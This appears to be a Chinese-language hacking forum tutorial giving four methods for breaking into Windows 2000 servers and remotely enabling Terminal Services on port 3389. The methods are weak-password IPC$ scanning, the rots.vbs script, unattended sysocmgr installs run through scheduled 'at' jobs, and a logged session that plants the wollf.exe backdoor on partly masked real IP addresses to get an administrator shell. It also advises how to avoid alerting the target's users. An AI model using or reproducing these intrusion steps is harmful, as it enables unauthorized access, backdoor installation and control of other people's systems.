第一种方法：
==========================================================================================
使用的工具:
1:ipcscan扫描器
2:终端服务连接工具xpts.exe(WIN 2000/XP 终端连接程序. 内附有COPY 文件的补丁. 格式 IP:Port )
3:开终端的脚本rots.vbs(灰色轨迹zzzevazzz的作品)
4:cscript (在system32文件夹下;98操作系统可能没有
二:步骤:
1:用ipcscan扫描弱口令(你们可以自己扫,我也扫到一些弱口令主机.演实时间我在论坛上再发)
2:用rots.vbs开启终端服务
说明 cscript ROTS.vbs [服务端口] [自动重起选项]
格式 cscript.exe rots.vbs ip user userpass port /r
或者 cscript.exe rots.vbs ip user userpass port /fr
三:常见问题:
1:脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。因为pro版不能安装终端服务.如果你确信脚本判断错误,就继续安装好了.
2:可能会出现:Conneting 202.202.202.202 ....Error0x80070776 .Error description: 没有发现指定的此对象导出者,这个还是放弃吧.
3:可能会连接不上,请用这个格式127.0.0.1:1818 1818是刚才开的端口.
==========================================================================================
第二种方法：
==========================================================================================
进入后：TELNET上去！
c:\echo [Components] c:\rock
c:\echo TSEnable = on c:\rock
c:\sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\rock /q
或者！
c:\echo [Components] d:\wawa
c:\echo TSEnable = on d:\wawa
c:\sysocmgr /i:c:\winnt\inf\sysoc.inf /u:d:\wawa /q
等会自动启后就OK
或者：
在本地利用DOS命令edit建立.bat后缀批处理文件（文件名随意） echo [Components] c:\sql
echo TSEnable = on
c:\sqlsysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
net use \\ip地址\ipc$ 密码 /user:用户名（一般默认:administrator)
利用at time 获取对方服务器时间。
copy 路径:\xxx.bat \\ip地址\$c:\winnt
at time 00:00:00 xxx.bat
服务器执行命令后，服务器将重新启动，利用3389登陆就OK了！
==========================================================================================
第三种方法：
==========================================================================================
进入后,再次检查终端组件是否安装:
c:\query user
这个工具需要安装终端服务.
这样就进一步确定了组件没有被安装.如果返回:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
w1 console 0 运行中 . 2002-1-12 22:5
\\类似这样的信息,可能组件就已安装.
好!都清楚了,可以开始安装了.
---------------------------------------------------
C:\dir c:\sysoc.inf /s //检查INF文件的位置
c:\WINNT\inf 的目录
2000-01-10 20:00 3,770 sysoc.inf
1 个文件 3,770 字节
-----------------------------------------------------
C:\ dir c:\sysocmgr.* /s //检查组件安装程序
c:\WINNT\system32 的目录
2000-01-10 20:00 42,768 sysocmgr.exe
1 个文件 42,768 字节
-----------------------------------------------------
c:\echo [Components] c:\rock
c:\echo TSEnable = on c:\rock
//这是建立无人参与的安装参数
c:\type c:\rock
[Components]
TSEnable = on
//检查参数文件
------------------------------------------------------
c:\sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\rock /q
-----------------------------------------------------
这一条就是真正安装组件的命令.
以上这条命令没有加/R参数,主机在安装完后自动重起.
如若加了/R参数主机就不会重起.
如果一切正常的话,几分钟后对方主机将会离线,当它重新回来时,
3389终端服务就已经开启.你就可以连上去了.
问题和建议:
A 在安装过程中,不使用/R,有时主机也不会重起,你就要手动重起他,但在使用诸如:iisreset /reboot命令时,对方
的屏幕会出现个对话框,写着谁引起的这次启动,离重起还有多少秒.
B 一次不行可以再试一次,在实际中很有作用.
C 在输入sysocmgr命令开始安装时,一定不要把命令参数输错,那会在对方出现一个大的对话框,是sysocmgr的帮助,很是显眼,
而且要求确定.在你的屏幕上是不会有任何反应的,你不会知道出错，所以会有B的建议.
==========================================================================================
第四种方法：
==========================================================================================
C:\Documents and Settings\shanlu.XZGJDOMAINnet use \\218.22.155.*\ipc$ "" /us
er:administrator----------------连接成功！
命令成功完成。
C:\Documents and Settings\shanlu.XZGJDOMAINcopy wollf.exe \\218.22.155.*\admi
n$------------------------------拷贝wollf.exe到目标计算机的admin$目录
已复制 1 个文件。
C:\Documents and Settings\shanlu.XZGJDOMAINcopy hbulot.exe \\218.22.155.*\adm
in$-----------------------------拷贝hbulot.exe到目标计算机的admin$目录
已复制 1 个文件。
C:\Documents and Settings\shanlu.XZGJDOMAINnet time \\218.22.155.*
\\218.22.155.* 的当前时间是 2002/12/1 上午 06:37
命令成功完成。
C:\Documents and Settings\shanlu.XZGJDOMAINat \\218.22.155.* 06:39 wollf.exe
新加了一项作业，其作业 ID = 1--指定wollf.exe在06:39运行
------------------------------------------------------------------------------------------
说明：
wollf.exe是一个后门程序，很多高手都喜欢nc或者winshell，不过我对他情有独钟！在这里我只介绍与本文内
容有关的命令参数，它的高级用法不做补充。
hbulot.exe是用于开启3389服务，如果不是server及以上版本，就不要运行了。因为pro版不能安装终端服务。
2分钟后......
------------------------------------------------------------------------------------------
C:\Documents and Settings\shanlu.XZGJDOMAINwollf -connect 218.22.155.* 7614
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
------------------------------------------------------------------------------------------
说明：
使用wollf连接时要注意wollf.exe要在当前目录，它的连接命令格式：wollf -connect IP 7614
7614是wollf开放的端口。如果显示如上，说明你已经连接成功，并具有管理员administrator权限。
------------------------------------------------------------------------------------------
[server@D:\WINNT\system32]#dos
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
------------------------------------------------------------------------------------------
说明：
输入dos,你就会进入目标机的cmd下，这时同样具有administrator权限。
------------------------------------------------------------------------------------------
D:\WINNT\system32cd..
cd..
D:\WINNTdir h*.*
dir h*.*
驱动器 D 中的卷没有标签。
卷的序列号是 1CE5-2615
D:\WINNT 的目录
2002-11-27 03:07 Help
2002-09-10 12:16 10,752 hh.exe
2002-10-01 08:29 24,576 HBULOT.exe
2 个文件 35,328 字节
1 个目录 9,049,604,096 可用字节
D:\WINNThbulot
hbulot
------------------------------------------------------------------------------------------
说明：
因为我们把HBULOT.exe放到目标机的admin$下的，所以先找到它，以上是文件的存放位置。
==========================================================================================
D:\WINNTexit
exit
Command "DOS" succeed.
[server@D:\WINNT\system32]#r